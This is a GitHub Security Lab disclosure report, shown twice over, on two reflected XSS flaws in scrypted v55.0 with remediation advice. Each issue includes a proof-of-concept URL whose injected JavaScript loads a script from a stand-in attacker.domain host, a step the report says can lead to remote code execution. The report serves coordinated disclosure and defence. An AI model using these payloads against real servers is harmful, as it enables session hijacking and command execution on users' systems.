GitHub Security Lab (GHSL) Vulnerability Report, scrypted: GHSL-2023-218
, GHSL-2023-219
The GitHub Security Lab team has identified potential security vulnerabilities in scrypted.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected]
(please include GHSL-2023-218
or GHSL-2023-219
as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
Summary
Two refelcted Cross-Site Scripting (XSS) vulnerabilities exist in scrypted that may allow an attacker to impersonate any user who clicks on specially crafted links. In the worst case, an attacker may be able to impersonate an administrator and run arbitrary commands.
Project
scrypted
Tested Version
v55.0
Details
Issue 1: reflected XSS in plugin-http.ts
(GHSL-2023-218
)
The owner
and pkg
parameters are reflected back in the response when the endpoint is not found, allowing for a reflected XSS vulnerability.
const { owner, pkg } = req.params;
let endpoint = pkg;
if (owner)
endpoint = `@${owner}/${endpoint}`;
const pluginData = await this.getEndpointPluginData(req, endpoint, isUpgrade, isEngineIOEndpoint);
if (!pluginData) {
end(404, `Not Found (plugin or device "${endpoint}" not found)`);
return;
}
Impact
This issue may lead to Remote Code Execution
.
Remediation
In order to remediate, ensure that parameters are not reflected back in the response. In addition, on error responses where html is unnecessary, set the text/plain
Content-Type to prevent XSS (express defaults to text/html).
Resources
Proof of Concept:
The following url will create a script tag in the current document which will load attacker.domain/rce.js
. This JavaScript file can then be used to communicate with the server over HTTP via RPC, and send some requests to get the nativeId
and proxyID
for the automation:update-plugins
and achieve the ability to run shell commands at a specified time.
https://localhost:10443/endpoint/%3Cimg%20src%20onerror=a=document.createElement('script');a.setAttribute('src',document.location.hash.substr(1));document.head.appendChild(a)%3E/pkg#//attacker.domain/rce.js
In the browser, you should see the script element be created with the src as https://attacker.domain/rce.js
.
A reflected XSS vulnerability exists in the login page via the redirect_uri
parameter. By specifying a url with the javascript scheme (javascript:
), an attacker can run arbitrary JavaScript code after the login.
try {
const redirect_uri = new URL(window.location).searchParams.get('redirect_uri');
if (redirect_uri) {
window.location = redirect_uri;
return;
}
}
Impact
This issue may lead to Remote Code Execution
.
Remediation
In order to remediate, ensure user-controlled data is not placed into the DOM. Additionally, this is also an open redirect vulnerability because the url is not validated and a user may be redirected to an attacker controlled website after logging in, not knowing they have left the actual real website. If this redirect_uri parameter is supposed to only redirect to the current website/domain, please incorporate a check that it is only redirecting to the current domain.
Resources
Proof of Concept:
When the user is not logged in, send a link to the server with the parameter:
redirect_uri=javascript:var script = document.createElement('script');script.src = 'https://attacker.domain'; document.head.appendChild(script);
at the end of the uri (but before the #).
Example: https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//
Similar to Proof of Concept 1 this will load a JavaScript file which can make authenticated requests to the server, possibly leading to RCE.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
This vulnerability was found with the help of CodeQL Reflected XSS query.
Contact
You can contact the GHSL team at [email protected]
, please include a reference to GHSL-2023-218
or GHSL-2023-219
in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
GitHub Security Lab (GHSL) Vulnerability Report, scrypted:
GHSL-2023-218
,GHSL-2023-219
The GitHub Security Lab team has identified potential security vulnerabilities in scrypted.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
[email protected]
(please includeGHSL-2023-218
orGHSL-2023-219
as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.If you are NOT the correct point of contact for this report, please let us know!
Summary
Two refelcted Cross-Site Scripting (XSS) vulnerabilities exist in scrypted that may allow an attacker to impersonate any user who clicks on specially crafted links. In the worst case, an attacker may be able to impersonate an administrator and run arbitrary commands.
Project
scrypted
Tested Version
v55.0
Details
Issue 1: reflected XSS in
plugin-http.ts
(GHSL-2023-218
)The
owner
andpkg
parameters are reflected back in the response when the endpoint is not found, allowing for a reflected XSS vulnerability.Impact
This issue may lead to
Remote Code Execution
.Remediation
In order to remediate, ensure that parameters are not reflected back in the response. In addition, on error responses where html is unnecessary, set the
text/plain
Content-Type to prevent XSS (express defaults to text/html).Resources
Proof of Concept:
The following url will create a script tag in the current document which will load
attacker.domain/rce.js
. This JavaScript file can then be used to communicate with the server over HTTP via RPC, and send some requests to get thenativeId
andproxyID
for theautomation:update-plugins
and achieve the ability to run shell commands at a specified time.https://localhost:10443/endpoint/%3Cimg%20src%20onerror=a=document.createElement('script');a.setAttribute('src',document.location.hash.substr(1));document.head.appendChild(a)%3E/pkg#//attacker.domain/rce.js
In the browser, you should see the script element be created with the src as
https://attacker.domain/rce.js
.Issue 2: reflected XSS in
plugins/core/ui/src/Login.vue
(GHSL-2023-219
)A reflected XSS vulnerability exists in the login page via the
redirect_uri
parameter. By specifying a url with the javascript scheme (javascript:
), an attacker can run arbitrary JavaScript code after the login.Impact
This issue may lead to
Remote Code Execution
.Remediation
In order to remediate, ensure user-controlled data is not placed into the DOM. Additionally, this is also an open redirect vulnerability because the url is not validated and a user may be redirected to an attacker controlled website after logging in, not knowing they have left the actual real website. If this redirect_uri parameter is supposed to only redirect to the current website/domain, please incorporate a check that it is only redirecting to the current domain.
Resources
Proof of Concept:
When the user is not logged in, send a link to the server with the parameter:
redirect_uri=javascript:var script = document.createElement('script');script.src = 'https://attacker.domain'; document.head.appendChild(script);
at the end of the uri (but before the #).
Example:
https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//
Similar to Proof of Concept 1 this will load a JavaScript file which can make authenticated requests to the server, possibly leading to RCE.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
This vulnerability was found with the help of CodeQL Reflected XSS query.
Contact
You can contact the GHSL team at
[email protected]
, please include a reference toGHSL-2023-218
orGHSL-2023-219
in any communication regarding these issues.Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.